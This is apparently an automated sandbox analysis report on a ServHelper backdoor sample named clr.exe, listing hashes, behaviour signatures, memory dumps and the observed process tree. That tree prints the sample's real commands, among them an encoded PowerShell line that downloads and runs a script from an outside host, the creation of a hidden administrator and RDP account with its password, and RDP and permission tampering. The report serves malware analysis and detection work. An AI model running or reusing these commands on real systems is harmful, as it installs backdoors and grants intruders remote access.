Analysis

  • max time kernel
    134s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    27-04-2021 14:25

General

  • Target

    clr.exe

  • Size

    6.0MB

  • MD5

    1e9f45329ffece31382bb884367f58df

  • SHA1

    52d3d55364d8c4d350231d38bfe6eb156cf8473f

  • SHA256

    8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc

  • SHA512

    12272d5f20c42764992420aa1a178b16d7ef1873f2c9619bd8ac16e0eb9a0067a08a9d70863c1d3e95dd4a2aa19c081ae0baabaf3431f5068ea7191c8f4d6c62

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\clr.exe
    "C:\Users\Admin\AppData\Local\Temp\clr.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1716
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dj2uzjl3\dj2uzjl3.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B2C.tmp" "c:\Users\Admin\AppData\Local\Temp\dj2uzjl3\CSC13CA4630FD7E46319A767537DECD84BF.TMP"
          4⤵
            PID:844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1168
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1152
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:268
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1264
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:296
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1040
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1628
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1588
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1056
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1704
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1664
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1880
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1384
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:816
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1336
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1668
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:960
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1168
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1052
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1140
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:992
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:964
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1140
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1016
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1712
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1620
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 5M9u06hR /add
                                  1⤵
                                    PID:1632
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 5M9u06hR /add
                                      2⤵
                                        PID:1704
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 5M9u06hR /add
                                          3⤵
                                            PID:1708
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:2040
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:712
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:972
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1624
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1040
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:968
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1620
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1944
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:592
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc 5M9u06hR
                                                          1⤵
                                                            PID:1632
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc 5M9u06hR
                                                              2⤵
                                                                PID:1912
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc 5M9u06hR
                                                                  3⤵
                                                                    PID:816
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:964
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:360
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1708
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:940
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:984
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:580
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:932

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/568-98-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-100-0x000000001AA10000-0x000000001AA11000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-121-0x000000001BB50000-0x000000001BB51000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-94-0x000000001AA60000-0x000000001AA62000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-95-0x000000001AA64000-0x000000001AA66000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-96-0x0000000002690000-0x0000000002691000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-120-0x000000001B8C0000-0x000000001B8C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-107-0x000000001BD00000-0x000000001BD01000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-101-0x0000000002440000-0x0000000002441000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/932-203-0x0000000019620000-0x0000000019622000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/932-205-0x000000001962A000-0x0000000019649000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/932-204-0x0000000019624000-0x0000000019626000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-135-0x0000000001E50000-0x0000000001E51000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-129-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-134-0x0000000002740000-0x0000000002741000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-132-0x000000001B580000-0x000000001B581000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-128-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-130-0x0000000002600000-0x0000000002601000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1168-148-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1168-149-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-70-0x00000000023B0000-0x00000000023B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-72-0x000000001AA20000-0x000000001AA22000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-87-0x000000001B510000-0x000000001B511000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-102-0x000000001AA2A000-0x000000001AA49000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1716-157-0x000000001C680000-0x000000001C681000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-85-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-83-0x0000000002270000-0x0000000002271000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-67-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-75-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-68-0x0000000002370000-0x0000000002371000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-86-0x000000001C420000-0x000000001C421000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-69-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1716-73-0x000000001AA24000-0x000000001AA26000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1716-71-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1996-60-0x0000000043890000-0x0000000043CB1000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1996-65-0x00000000433E7000-0x00000000433E8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1996-62-0x00000000433E2000-0x00000000433E4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1996-64-0x00000000433E6000-0x00000000433E7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1996-63-0x00000000433E4000-0x00000000433E6000-memory.dmp

                                                                        Filesize

                                                                        8KB